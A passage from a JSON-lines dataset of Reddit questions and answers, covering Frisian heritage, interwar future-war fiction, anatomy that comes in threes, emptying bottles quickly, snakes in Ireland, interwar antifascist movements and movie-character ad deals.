"answers_urls": [[], [], []]}
{"q_id": "1gmakm", "title": "Brief information on Frisian history.", "selftext": "My family is of Dutch Frisian decent. I am very interested in the history and language of my heritage. I have read the wikipedia but I would like more, does anyone have a summary of the history, roman, viking, medieval world wars etc? What caused the Frisian split between Holland and Germany? Any good reads or suggestions?\n\nMy grandfather speaks the language, and I would like to learn it, even conversationally just to preserve a bit of our heritage. He lives quite far away so any suggestions on how to learn it?\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gmakm/brief_information_on_frisian_history/", "answers": {"a_id": ["calsnmo"], "score": [2], "text": ["Hello fellow Frisian!\n\nGoeie, hoe gjit it?\n\nYou may want to check out [this site](_URL_1_), it has English language available. (and Frisian of course). It has tons of informations, including books about Frisian history and courses to learn Frisian. [Doutzen Kroes](_URL_0_) approves this site!\n\nGive my regards to your grandfather, say this to him, he'll know what to answer: B\u00fbter, brea en griene tsiis ...\n\nBy the way, you may be able to read the above sentence, because Frisian is closely related to Old English. Here is a Youtube clip of an Englishman buying a cow from a Frisian farmer by using Old English: _URL_2_\n\nGood luck!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Doutzen_Kroes", "http://afuk.nl/?language=en", "http://youtu.be/OeC1yAaWG34"]]}
{"q_id": "9eigtu", "title": "Did anyone write World War II fiction before it occurred like some authors have done for World War III?", "selftext": "In the late 70's to the mid 80's, a number of authors wrote fictional accounts of what they thought World War III would look like (Sir John Hackett's \"The Third World War\", Tom Clancy's \"Red Storm Rising\", and Harold Coyle's \"Team Yankee\" are few examples of the type of writing I'm referring to). Did anyone write similar fiction about World War II prior to 1939? Or is the genre a unique product of a long, tense cold war?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9eigtu/did_anyone_write_world_war_ii_fiction_before_it/", "answers": {"a_id": ["e5pkbhp", "e5pqxc6", "e5qozhk"], "score": [189, 58, 2], "text": ["The one that jumps to mine is *The Shape of Things to Come* by HG Wells. Published in 1933, it was intended to be 'future history', IE: A historical story from a futuristic universe. The set-up in that book was fairly similar, predicting a second World War that would begin in Europe due to a conflict between Poles and Germans in early 1940. He even placed the conflict as starting in Danzig, which was indeed one of the first battles.\n\nThat said, the rest of the story was pretty different. France and the Soviet Union aren't really involved, countries remain neutral that were heavily involved, Spain plays a completely different role, etc. Some details were of course correct (the heavy focus of bombing other cities), but instead the war he pictured was more or less a land war, bogged down by trenches like the first war.\n\nThe fact that his fictional World War ends in total collapse as everything runs on so long that most governments simply collapse in on themselves was probably the most significant difference, considering it leads to a strange dystopian world that eventually gives way to a utopian world.\n\nIt's probably the most notable example I can think (mostly due to HG Well's prominence), but there's definitely other examples.", "They certainly did. The \"Future War\" genre (see the [Encyclopaedia of Science Fiction](_URL_0_) entry for a good summary) goes back at least to the 18th century, but the most direct descendent of the \"drama-documentary\" of Hackett  &  co. is probably Chesney's *The Battle of Dorking* from 1871 depicting a successful German invasion of Britain. It was popular enough to spawn a whole \"invasion\" genre over the next 40-odd years featuring actual, or threatened (e.g. *The Thirty-Nine Steps*), invasions, even spoofs such as P. G. Wodehouse's *[The Swoop! or, How Clarence Saved England: A Tale of the Great Invasion](_URL_1_)* (\"England was not merely beneath the heel of the invader. It was beneath the heels of nine invaders. There was barely standing-room.\")\n\nThe advent of the airship and aeroplane brought a new threat as envisaged by e.g. H. G. Wells in *The War in the Air* of 1908 and *The World Set Free* of 1913 (featuring atomic bombs), the actual use of air power in the First World War including city bombing meant aircraft played a large role in inter-war Future War fiction. As aeroplanes had progressed from barely carrying their crew at the start of the war to a ton of bombs and more at the end of it there was an apocalyptic strand to some of the writing, envisaging the impact of ever larger fleets of faster, heavier bombers unleashing explosive, incendiary and poison gas bombs on cities. The worry of a \"knock-out blow\", a massive, devastating attack that would leave a country unable to function, featured in both serious military and political writing and fiction - as Brett Holman notes in *The Next War in the Air* \"indeed, there was little difference in content and, to an extent, style between knock-out blow scenarios in fiction and non-fiction\". Examples include the Earl of Halsbury's *1944* (written in 1926), E. F. Spanner's *The Broken Trident* also of 1926, McIlraith and Connolly's 1934 *Invasion from the Air*, and Leslie Pollard's 1935 *Menace*. The military theorist Giulio Douhet followed his *Command of the Air* of 1921, one of they key works on air power, with an illustrative novel, *The War of 19--*, in 1930 envisaging a war between Germany and France and Belgium that effectively lasts a single day as German bombers obliterate Franco-Belgian air forces and cities. \n\nWells continued his works; *The Shape of Things to Come* of 1933 envisaged a war between Germany and Poland in 1940 with heavy city bombing, but rather than bombing being a knock-out blow his war bogged down and dragged on, much of the book concerned with the post-war 20th century. Of course *The War of the Worlds* had expanded the invasion genre into more speculative science-fiction with Martians and their heat rays, but \"death rays\" also figured in more grounded inter-war fiction as authors extrapolated on the possibilities of X-Rays and the like, either to actually kill, or to remotely detonate explosives, or to stop engines; the Air Ministry initially asked Robert Watson-Watt to investigate the possibilities of a \"death ray\", on proving such to be impossible he persuaded them instead to focus on the possibilities of radio detection leading to Britain's radar network of the Second World War.\n\nFurther reading:  \nI F Clarke, *Voices Prophesying War: Future Wars, 1763-3749*  \nMartin Caedel, \"Popular fiction and the next war, 1918-1939\", *Class, Culture and Social Change: A New View of the 1930s*  \nPaul Williams, \"Race, War and Apocalypse before 1945\", *Race, Ethnicity and Nuclear War: Representations of Nuclear Weapons and Post-Apocalyptic Worlds*  \nPaul K. Saint-Amour, \"Air War Prophecy and Interwar Modernism\", *Comparative Literature Studies*, Vol. 42, No. 2  \nWilliam J. Fanning, Jr., \"The Historical Death Ray and Science Fiction in the 1920s and 1930s\", *Science Fiction Studies*, Vol. 37, No. 2  ", "Amusingly, an example is the 1938 edition of the Nostradamus *Prophecies* by H. de Fontbrune (which I happen to have at home)^1. It is a fun read, as while he predicted that a second world war would happen and that it would be caused by Germany (which was not that hard at that time), he described a scenario where France and Italy were invaded through Switzerland and other fantasy history. Looking online, this edition seems to be found on various online book retailers.\n\n-------\n\n^1 : This is H. de Fontbrune Sr, not his son who also wrote Nostradamus interpretations in the 70s and 80s (also a fun read)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sf-encyclopedia.com/entry/future_war", "http://www.gutenberg.org/ebooks/7050"], []]}
{"q_id": "5n2mi2", "title": "Is there anything the human body has three of?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5n2mi2/is_there_anything_the_human_body_has_three_of/", "answers": {"a_id": ["dc8gqka", "dc8h48d", "dc8h7rn", "dc8h9ob", "dc8hozv", "dc8i1pc", "dc8j6gx", "dc8k4k5", "dc8kbzm", "dc8kh50", "dc8nvls", "dc8nxus", "dc8ocdj", "dc8ocmu", "dc8owjo", "dc8oxs0", "dc8pgk3", "dc8pjg1", "dc8pomk"], "score": [1500, 68, 928, 12, 9, 4803, 301, 482, 7, 10, 6, 22, 435, 5, 145, 8, 4, 7, 114], "text": ["I suppose you could go with three arteries supplying the thyroid. Two fairly identical supplies coming from the sides split into superior and inferior portions, with a midline third artery, the thyroid ima, which ascends superiorly. This is only present in about 1 in 20 people however", "Three muscles that make up the triceps: long head, lateral head, medial head. And in order to strengthen your medial head, one must perform a supinated tricep extension. \n\nThere's actually a few groups of 3 like that. \n\nEx. Shoulder muscles, anterior, lateral, posterior. And glutes, Maximus, medius, and minimus. \n\nEdit: You strengthen your medial head through any given tricep exercise when the arm is at full extension. You can, however, put more emphasis on the medial head by doing an underhand or supinated tricep extension. ", "This was [asked before](_URL_1_) (man, I didn't think it was that long ago).\n\ntl;dr: My favorite answer: Tricuspid valve. Other answers: Lungs are asymmetrical (3 lobes and 2 lobes). Bones. [Things that are \"leftover\"](_URL_0_).", "Tough question. I'm having to resort to a few \"grey areas\" to come up with an answer... I can't find any answers where the three things are identical (like your eyeballs or your thumbs). But I can find examples of things that diverge into threes at some point during development.\n\nFor example. when can one thing be three things? Well, there's your [triceps muscle](_URL_3_). You have one tricep in each arm, of course. But if you look closely enough, you actually have three in each arm, each with its own set of nerves. But they join at the tendon, so maybe the answer is, \"You have three triceps heads in both arms\".\n\nGoing further down the same rabbit hole, consider your [pectoralis](_URL_0_). Again, you have two-- left and right. Cop a feel from yourself and confirm that. But each one separates into three branches. These branches attach to ribs three, four, and five. So you have three pec branches in each ~~boob~~ chest thing.\n\nThe [Adductor Magnus](_URL_2_) forms a trident-shaped structure at the bottom. So you probably have three attachment points of the Magnus into the femor. (I don't know if all humans have the same number-- sometimes these things vary).\n\nYou have three [hamstrings](_URL_1_) in each thigh. But they have different names and functions.", "The Pes Anserine has three tendons (Sartorius, Gracilis, and Semitendonosus), and looks like a goose's three toed foot. there;s one on each leg so technically there's six. \n\nThe small intestine has three sections (duodenum, jejunum, and ileum). \n\nEach finger has three phalanges, except for the thumb.\n\nThere are three main coronary arteries: the LAD, the RAD, and the circumflex.\n\n", "There are three cusps/leaflets to the tricuspid, pulmonary and aortic valves\n\nSlightly off topic but each kidney is created three times - the first two (pronephros and mesonephros) degenerate and the third (metanephros) becomes your kidney and urinary tract", "Med student here. \n\nWhile the other replies are technically correct in stating that a muscle has three heads,a lung may have 3 lobes, or the Triceps Surae (Achilles) Tendon, I don't consider them as *'truly'* having 3 parts. \nFor one, the muscle heads may have variations, for example the Biceps brachii. It has two heads(Long head and a Short head) at present, but it was also thought that it had 3 heads, the third being the coracobrachialis, which we now identify as a separate muscle, because of evolutionary changes which made it have a different function than the Biceps. \nNext, the lungs do not always have 3 lobes. I've dissected lungs where there were only 2 lobes on each side or both had 3 lobes. \nThe functional, anatomical and surgical units of lungs are the Bronchopulmonary segments, of which there are 10 on each side. \n\nI consider the following to be 'truly' 3 parted:\n\n1. The germ layers. There are three of these (Endoderm, mesoderm, ectoderm), each giving rise to specific organs/structures. Sometimes these three form separate parts of the same structure(your ear for example) \n\n2. The semicircular canals in the vestibular apparatus. These are responsible for balancing, as well as some unpleasant experiences like motion sickness. \nThere are three of these canals, one for each axis of 3D space.\n\n3. The muscles of the Anterior abdominal wall: External oblique,  Internal oblique and the Transversus Abdominis. \n\nThere are a lot of structures in the body that work together in groups of 3 though such as the Triceps Surae tendon (2 heads of Gastrocnemius muscle and 1 Soleus muscle), \n\n3 parts of the aorta giving rise to different arterial branches,\n\n 3 cranial nerves controlling different movements of the eyeball( Cranial nerves 3,4,6)\n\n~~And the 3 Adductor muscles or the leg, which Adduct (bring the leg closer to the body):  Brevis, Longus and Magnus.~~\n\nThe 3 major nerves in the forearm,  Radial, Ulnar, and Median, responsible for various motor actions and sensations. \n\nThere is quite a big gray zone when it comes to answering this question, no answer is set in stone. \n\nHope this answers your question. \n\nEdit: There's more than just 3 muscles adducting the leg. There's 6.\n\nEdit 2: +New example\n\n", "You have three bones in your middle ear, which are the 3 smallest in your body, called the malleus, incas and the stapes. They convert the sound waves entering your ear to hydraulic energy in the inner ear. That is my extremely watered-down explanation.", "The \"third eye\" does have a small foundation in science, in that your [pineal gland](_URL_1_) evolved from an organ called the [parietal eye](_URL_0_) in some amphibians and reptiles. Calling it an eye is a bit of a stretch, but it is light sensitive in those animals. That's probably about as close as you will get to the spirit of your question.", "You'll find plenty of examples in the circulatory system. Keep in mind arteries and veins are very variable and I tried to name only the most common examples. Source: med student.\n\nWe have 3 colic arteries: a. colica dextra and a. colica media from a. mesenterica superior; a. colica sinistra from a. mesenterica inferior.\n\nTruncus coeliacus has 3 \"parts\": a. gastrica sinistra, a. lienalis, a. hepatica communis.\n\nArcus aortae has 3 branches: Truncus brachiocephalicus, a. subclavia sinistra, a. carotis communis sinistra.\n\n3 rectal arteries: a. rectalis superior (a. mesenterica inferior), a. rectalis media (a. iliaca interna), a. rectalis inferior (a. pudenda interna)\n\n3 suprarenal arteries: a, suprarenalis superior (aa. phrenicae inferiores), aa. suprarenales mediae (truncus coeliacus), a. suprarenalis inferior (aa. renales)\n\n3 hepatic veins: v. hepatica dextra, v. hepatica media, v. hepatica sinistra.\n\nAorta abdominalis (L4 region) splits into 3 parts: a. iliaca communis dextra, a. sacralis mediana, a. iliaca communis sinistra.\n\n", "The only thing I can think of as a totally non-medical person is having three chromosomes (xxy) on the twenty third 'pair,' aka Klinefelter syndrome.\n\nOr when someone has three sets of teeth instead of two. But these are both abnormalities, so might not technically count. Thought I'd mention them though!", "There are a lot of great in-depth replies from experts here but I immediately thought of the three bones in each finger other than the thumb. \n\nThe term is the phalanges and (in order of distance from the wrist) they're called proximal, intermediate, and distal phalanges. The thumb doesn't have the intermediate phalanges.", "Not sure if it's already been said, but we have three layers of skin. First there is the epidermis which contains its own five layers (Stratus Corneum, Stratus Lucidum, Stratus Granulosum, Stratus Spinosum, and Stratus Germinativum), then the dermis (or \"true skin\" as this is where a lot of nerves are), and finally the subcutaneous / fatty layer which gives our skin a cushiony feel. \n\nEdit: spelling", "The heart has several things that come in three's.\n\nThree of the valves have three leaflets each, namely the aortic, pulmonic, and tricuspid valve. The mitral valve has 2 leaflets, but each leaflet has three scallops. \n\nThere are three coronary arteries (the left anterior descending artery, left circumflex artery, and right coronary artery).\n\nThere are three conduction pathways, the right bundle, and the left bundle which splits into an anterior fascicle and a posterior fascicle. \n\n", "The right lung has 3 lobes [the left one has 2 - go figure]\n\n", "Semicircular ducts in the inner ear.  They're partially responsible for the sense of balance. You have three  in each ear.  Damage causes dizziness, vertigo, and a complete inability to stand with your eyes closed. ", "While not a functional third, the pineal gland is often called the 'Third Eye'. It's possibly the precursor to our current two eyes, and today now functions as an intermediary between your eyes and other systems in your body.", "Bones in the ear?", "This question seems to be asking about gross anatomic structures (e.g. Eyes, ears, limbs, etc). If that is the case, I cannot think of any that humans normally have three. Many good examples of gross structures that are made up of three components have been given, but that just seems like it wasn't the question they were trying to convey.  Just an assumption and you know what that means... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/askscience/comments/1sddpq/is_there_three_copies_of_anything_in_our_body/cdwmywp/", "https://www.reddit.com/r/askscience/comments/1sddpq/is_there_three_copies_of_anything_in_our_body/"], ["https://en.wikipedia.org/wiki/Pectoralis_major_muscle", "https://en.wikipedia.org/wiki/Hamstring", "https://en.wikipedia.org/wiki/Adductor_magnus_muscle", "https://en.wikipedia.org/wiki/Triceps_brachii_muscle"], [], [], [], [], ["https://en.wikipedia.org/wiki/Parietal_eye", "https://en.wikipedia.org/wiki/Pineal_gland"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5gmqfr", "title": "is it faster to pour water out of a bottle at an angle, or upside down when it starts \"plopping\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gmqfr/eli5_is_it_faster_to_pour_water_out_of_a_bottle/", "answers": {"a_id": ["dateo0g", "dateuhc", "datf49u", "datgzve", "datjy3q", "datk4nl", "datlj50", "datm2mj", "datn3nj", "datob5n", "datovzq", "datp7qg", "datq4s8", "datr6uk", "dats2w0"], "score": [28, 302, 15, 663, 955, 45, 3, 4, 53, 4, 6, 6, 114, 600, 2], "text": ["As fast as you can do it while maintaining a steady stream (no plopping). The \"plopping\" occurs because there isn't enough air going in as there is water going out, so the pressure isn't balanced, this is like why putting your thumb on a straw keeps the liquid in the straw. ", "I've actually found that holding it upside down and spinning it like a whirlpool makes it pour faster and smoother. \n\nEdit: Wow I appreciate all the karma! I work at a brewery and have to clean growlers all the time, and that's how I rinse them. Cheers! ", "The fastest way it tonput it upside down and making a twister. It'll have the same effect as putting a straw, ie letting air in.", "The fastest method, if it's a plastic bottle, is to turn it upside down and then jam a knife into it to create a bunghole.  But, since you're 5, you should get a parent to do this for you.  \n\nEDIT: The second sentence was joking, but I was being serious in the first.  The \"plopping\" occurs because air cannot fill the space created by the exiting liquid, creating a lower pressure zone inside the container (water doesn't compress much).  Creating a hole for the air to flow into makes for much faster draining of the liquid, this is why large containers sometimes have a hole on the top as well as a spigot.  This hole is actually, unjokingly, called a [bunghole](_URL_0_).  ", "Upside down is faster, but the plopping makes it slow.\n\nWater picks up speed as well - the longer you can keep pouring it, the faster it can go. When it's interrupted by the plopping, it has to start over again, and starts from zero.\n\nHowever, if you can get air in there, without plopping, you're golden.\n\nThe shape of the bottle makes a difference, of course, but with most bottles, you can simply make a little whirlpool - give it a quick twist, and air can come up the middle of the vortex.\n\nOf course, now the water isn't rushing straight out, but is running around in circles before it comes out - but mostly it'll still be faster than pouring sideways.\n\nFor the fastest pour ever, stick a straw up there, and give it a little blow as you turn the bottle upside-down.  That's the fastest way to empty the bottle, ever.\n\n\n**EDIT: yes, I understand that if you dynamite the bottle from orbit with radioactive laser-sharks, it'll empty faster - that's just outside of the scope of the question and answer. - except the nitrogen! That was hella cool!", "Everyone is saying that making a whirlpool is faster - which it is - but I'd still like to know the answer to which is faster between \"plopping\" and non-\"plopping\"", "The fastest way to empty a water bottle is to hold it upside down then rotate your wrist in a single circular motion.  This will create a vortex at the lip of the bottle allowing a constant flow out the mouth of the bottle.", "I remember seeing Johnny Ball demonstrate this as a child. The fastest method of emptying a bottle is to swill the fluid around first. Ideally you want the fluid to be rotating inside the bottle, then just pour. The vortex forces the fluid to the edges of the bottle and creates an air spiral through the middle to help equalise the pressure holding the rest of the fluid in place, stopping the 'glooping' or plopping you get normally.", "Quick tip along these lines: ever wonder why a bottle of motor oil is asymmetric, with the neck aligned with one side of the bottle?  So you can pour it into the engine, with the neck *on top*, and it'll pour without glugging.  If you pour with the neck on the bottom, or just flip it upside down completely, best case it'll take forever to empty, worst case it'll splash all over the engine block.", "Turn that shit completely upside down and spin it like a tornado. It'll be even faster than a straw.\n\nSource: am Bartender", "Someone test: \n\n\nStart the clock: \n\nA) dump 180. When last drop out, timer stops. \n\nB) turn and swirl for whirlpool, when last drop out, timer stops\n\nC) smooth pour at angle: last drop out, timer stops. ", "This is actually the sort of question that is very difficult to find a concrete answer to in a scientific way and brings us to [chaos theory](_URL_1_). The reason is that the way the water flows is highly unstable and can change between different behaviors quickly and \"chaotically.\" What this means is that very small changes will quickly grow larger and larger. \n\nFor example, if you were to do this as a scientific experiment and change the angle even slightly, you would likely find a very different result. Similarly, the amount of water in the bottle would affect the results.\n\nNow you asked a very specific question and one that could be tested - is there an angle at which the water flows faster than upside down? But the answer is probably very complex! A similar question became an entire Ph.D. Doctoral Dissertation in 1977-1980. A physics student, Robert Stetson Shaw, abandoned his almost finished dissertation to start looking at a different question: how do drip-drip-drops from a faucet behave? It almost sounds crazy, but it lead to major breakthroughs in our understanding. The system starts simple, but quickly becomes very difficult to predict. [Here is an article describing the experiment in more detail.](_URL_0_) \n\nThe grad student went on to win the MacArthur genius grant for his contributions to the field of chaos theory. Neat.", "Tested using (larger) 1L water bottle with standard (small) opening. \n\nUPsidedown \"glug\" test: 14.313 seconds. \n\nPour angle test: 15 flat. \n(note: you could do it faster, but to REALLY have a smooth pour without 'glug glugs' it takes longer) \n\nSwirl: Varies greatly depending on technique. \nThe fastest time was 7.5 seconds, average was around 10. \n\nIf you \"continue\" the swirl motion it goes faster, but if you begin the vortex and stop it's slightly slower. \n\nAGAIN: this is with a larger bottle than normal (1 L) with a normal water bottle opening, your milage may vary. All rights reserved. SORRY TENNESSEE! \n", "As luck would have it, I tested this exact question two weeks ago.  I homebrew and wanted to figure out the fastest way to evacuate glass brewing vessels.  A couple of disclaimers before I begin:\n\n1.  It was VERY VERY ROUGH TESTING.  I was testing this by myself, by hand.  There's likely a \u00b13 second variance in my measurements based on how long it took me to start the timer and start pouring.\n\n2. The vessels used were the standard 5 gallon glass jugs used in homebrewing.  I filled the same jug up to the same line every time.  It was mostly full. It was a roughly 1\" throat.  I would assume that results may vary depending on vessel geometry.\n\nSo I tested the following methods to empty the vessel:\n\n1. Flipping it upside down and letting it \"Glug\" \n2. Letting it pour in as steady of a stream as possible\n3. Flipping it upside down for half the volume, then pouring it in a steady stream.\n4. Flipping it upside down and swirling it in a horizontal plane to create a vortex\n5.  Inserting a rigid straw-like tube (a racking cane) to create a dedicated air flow channel\n6. (Don't repeat this!)  Inserting a tube and blowing in CO2 at a VERY LOW PRESSURE.\nEach one was tested 3 times, typical variation was 2-3 seconds. \n\nHere are my results:  \n1. Upside down:  1 minute, 12 seconds.  \n2. Steady Pour:  2 minutes, 30 seconds or greater.  It's very difficult to do this from the beginning, since with a full vessel you can only slightly tilt it without glugging.  The projected throat area is very small as a result and the flow is very very slow.  This approach was very problematic and yielded very inconsistant results.  \n3. Hybrid pour: (upside down for half, then steady pour for half):  1 minute, 18 seconds.  Surprisingly close to just having it upside down.  Not a significant difference considering estimated variation in timing.  \n4. Vortex pour:  45 seconds.  Very interesting.  When I first heard about this method I assumed I'd have to swirl the vessel constantly, but after the vortex is established it maintains itself.  \n5. Rigid air tube: 38 seconds.  As assumed, this was very fast, though it was awkward to hold the tube at the same time (air tube was roughly 1/4\" diameter, for reference)  \n6. Low pressure CO2 (DO NOT TRY TO DO THIS):  Roughly 23 seconds.  As predicted this was the fastest, but the considerable risk of exploding the vessel makes it NOT WORTHWHILE.  \n\nOther notes:  \n-It takes roughly 2-3 seconds to establish a vortex  \n-It would be interesting to investigate the flowrate throughout the test; I'd assume that the smooth pour is the fastest when the vessel is nearly empty.  \n-Bleeding CO2 into a glass container is extremely dangerous, don't try this.  I knew the risks to myself and my equipment and took appropriate precautions so you wouldn't have to.  It's seriously not worth the saved time.   \n-Comparative results likely only be valid for this particular bottle geometry and fluid viscosity.   \n\nEdit: Formatting, hopefully?", "I learned about this in a rather interesting way. I played Water Polo in college, and one of our standard training regiments to strengthen our legs was to tread water holding one of those 10 gallon sparklets jugs over our heads. We would fill up a jug, pick it up and tread water while it basically dumped out on our head. We learned that by rotating the jug perfectly the jug would empty much faster than the straight down \"plopping\". Trust me, each second you save is crucial when you are treading water with 40lbs over your head."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Bunghole"], [], [], [], [], [], [], [], ["http://physics.wooster.edu/JrIS/Files/Roseberry_Web_article.pdf", "https://www.youtube.com/watch?v=5cVLUPwrSmU"], [], [], []]}
{"q_id": "1aeokq", "title": "What is the real reason that are there no snakes in Ireland?", "selftext": "A question in honour of St. Patrick's day: As an Irish person I've often wondered why we don't have snakes here, while they seem to exist in the UK and even in more northerly European latitudes. What is the real reason there are no native snake species on the island?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1aeokq/what_is_the_real_reason_that_are_there_no_snakes/", "answers": {"a_id": ["c8wpxpf", "c8wra5l"], "score": [37, 9], "text": ["They were wiped out during the ice ages, and never managed to recolonize across the ocean to Ireland.    The rest of Britain was connected to the mainland for a little while after the retreat of the glaciers.", "I think there actually are some snakes in Wexford, the south east of the country. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "au4suv", "title": "Were there any notable successful, or nearly successful, antifacist movements during the rise of fascism in Europe in the early 20th century?", "selftext": "I wonder if therein might lie good ideas worth considering today. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/au4suv/were_there_any_notable_successful_or_nearly/", "answers": {"a_id": ["eh5yzgy"], "score": [17], "text": ["Well, you\u2019ve asked a bit of a chicken and egg question there. There were, of course, parts of Europe where fascists didn\u2019t come to power. But did they fail to achieve power because they were opposed by anti-fascist movements, or because the fascist movements themselves were weak, or lacked the right circumstances to succeed?\n\nI\u2019ve addressed a narrower version of this question a [couple](_URL_0_) of [times](_URL_2_) in a British context, namely whether the Battle of Cable Street in October 1936 can be seen as contributing to the failure of the British Union of Fascists. I argued then, as I would now, that Cable Street was not the decisive turning point in the BUF\u2019s fortunes. Given the continued strength and stability of Britain\u2019s mainstream political parties, and the absence of many of the structural factors that made fascism appealing elsewhere, I don\u2019t think the BUF would have succeeded anyway. However, the scale of the failure of the BUF can be linked to anti-fascist activism, both in terms of local opposition constraining their ability to spread their message, as well as in less obvious ways such as forcing fascists to reveal their true nature through provocations, as at the notorious Olympia Rally in 1934. Personally, I think that even if British fascism would never have succeeded, anti-fascist movements limiting their success, influence and ability to bully vulnerable populations was incredibly worthwhile.\n\nYour question is, of course, somewhat broader than just Britain, and tantalisingly mentions \u2018nearly successful\u2019 movements. There is one very obvious candidate to discuss in this context: Spain.\n\nSpain during the first half of the 1930s was something of an anomaly in European politics. While most interwar democracies folded and were replaced by various shades of authoritarian (generally right-wing) regimes, Spain went the other way in overthrowing first the military dictator General Primo de Rivera, and then the monarchy soon after, and establishing the Second Spanish Republic. The Republic itself was founded as an explicitly progressive project, designed to create a secular, reformist state that would modernise Spain in line with European norms. The idea that the left might lose an election \u2013 as they did in 1933 \u2013 and the right could then dismantle many of these reforms was not seen as the natural consequence of the democratic process, but as undermining the Republic itself. The new right-wing government\u2019s anti-reform policies met with substantial resistance, with widespread strikes eventually culminating in an attempted insurrection in the mining region of Asturias in 1934, which was eventually brutally crushed by the military using colonial troops. Wherever one\u2019s sympathies lie, neither side was operating within what might be considered liberal democratic norms. The next two years saw ongoing political violence instigated by both left and right wing factions.\n\nBy this point, the left had started learning the lessons of European politics in the 1930s: division meant isolation meant defeat. This was most obviously the case in Germany, where mutual antagonism between socialists and communists prevented a common front against the rise of Hitler, who was able to swiftly demolish both groupings after gaining power. One solution proposed was known as the \u2018Popular Front\u2019 \u2013 a broad coalition of anti-fascist parties, from liberals to communists, who would agree to work together on a common platform and defend the status quo (ie liberal democracy) against the right. For groups such as the communists, this meant temporarily abandoning attempts to instigate a revolution. Such an approach was particularly attractive in Spain, as the Republican electoral system greatly favoured pre-election coalition agreements.\n\nThe election victory of the Spanish Popular Front in February 1936 was in a real sense an anti-fascist victory \u2013 even though Spain had a relatively small fascist movement (the Falange), the anti-democratic right was still a significant and growing force. Typically for the Republican electoral system, a relatively small margin of victory in terms of votes had led to a massive parliamentary majority for the left, with the socialist party and liberal Republicans the main beneficiaries in terms of seats (you can read more about the political composition of the Popular Front government\u00a0[here](_URL_1_)). Right-wing political and military leaders began plotting to overthrow the government soon after the Popular Front victory, but it was not until mid-1936 that plotters managed to make decisive headway in developing support in the armed forces, many of whom were reluctant to act against the government absent a revolutionary threat to the established order. However, the murder of Jos\u00e9 Calvo Sotelo, a prominent right-wing politician, itself in retaliation for the assassination of a socialist-aligned officer in the Assault Guards (a paramilitary police force, the urban equivalent of the Civil Guard), was the catalyst that convinced a substantial body of opinion in the military that Spain was descending into chaos, requiring the military to step in and restore order.\n\nThe resulting military coup, however, was unsuccessful in toppling the government. In most of Spain\u2019s major cities, it failed thanks to a combination of loyalist elements of the police and armed forces, and popular resistance from left-wing political parties and trades unions. However, much of the armed forces were won over to the rebellion, including the Army of Africa in Spanish Morocco (the only part of the Spanish Army that actually knew what it was doing). Crucially, the rebellion received immediate support from Italy and Germany, initially providing vital logistical support (such as helping transport the Army of Africa to the mainland), and eventually committing large numbers of troops to help the rebellion directly. While the Republic received (somewhat less) support from the Soviet Union, Western democracies adopted a policy of \u2018Non-Intervention\u2019, seeking to limit the conflict\u2019s scale by preventing the export of war materiel. Given that fascist powers (and the USSR) were willing to sign the agreement and then completely ignore, it was rather ineffective.\n\nEven without this international interference from fascist powers, the ensuing Spanish Civil War would have almost certainly taken on an anti-fascist character. The underlying logic of the Popular Front was anti-fascist, and the Spanish left were primed to view their struggle against the authoritarian right within this wider European context of the advance of fascism and the failure of democracy. Much of the world agreed. Whatever the local complexities, Spain seemed to readily reflect the much wider ideological conflicts of the 1930s. It was easy to read European politics into the situation \u2013 here was a democratic government under attack from a right-wing, (quasi-)fascist uprising, directly supported by Hitler and Mussolini. Crucially, the resistance to the coup attempt and then against international intervention seemed to be the first moment anywhere that it seemed possible fascism could be defeated - while democracy had died with a whimper throughout Europe, Spain seemed to prove that anti-fascist unity could actually work. As such, the Spanish Civil War became a major cause for the anti-fascist left across the world, the flashpoint of a much wider ideological struggle, similarly to how the Vietnam War became emblematic of Cold War conflicts. Solidarity movements abroad grew to a scale never really seen before, raising huge amounts of money to provide support and humanitarian relief for the Republic. Large numbers of foreigners went to Spain to fight for the Republic, approximately 35,000 all told. This remains an unprecedented mobilisation of foreign volunteers for a single conflict (and, for what it's worth, the subject of my research!), and these volunteers represented a crucial tie between anti-fascist activism in their home societies and the Spanish Republic.\n\n***continued below***\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8ssqqv/inspired_by_the_turn_the_western_world_seems_to/e122x1n/", "https://www.reddit.com/r/AskHistorians/comments/9a8sek/why_did_the_republicans_allie_with_the_communist/e4xp6rx/?context=3", "https://www.reddit.com/r/AskHistorians/comments/9682qj/the_battle_of_cable_street_has_been_portrayed_as/"]]}
{"q_id": "3w66yd", "title": "do companies pay to have movie characters (like from star wars) in their ad campaigns, or do the movie makers pay them?", "selftext": "I've seen make-up, printer ink, cars, and every other kind of product featuring Star Wars in their ad campaigns. This obviously benefits both companies, but who is actually paying to get these characters in cross-marketed advertisements?\n\nExample: Is Disney paying Covergirl to create commercials with Star Wars characters in it? Or does Covergirl pay Disney for the use of their characters?\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3w66yd/eli5_do_companies_pay_to_have_movie_characters/", "answers": {"a_id": ["cxtrxvs", "cxtvbq6", "cxtzsvu"], "score": [3, 3, 3], "text": ["It can work either way,  but generally the more profitable icons owners are the ones being paid. ", "Both companies benefit from advertising. The advertising costs money. CoverGirl is a brand that advertises a lot.  Year round.   This costs a lot of money and also reserves the advertising space for the year. Disney then approaches CoverGirl to use their advertising space to promote Starwars.\nDisney would most likely pay for: 1) production costs to produce the new advertisement 2) additional money to cover the cost of the advertising.\nTLDR: they split the advertising costs", "More than likely, the product is paying Disney for the use of Star 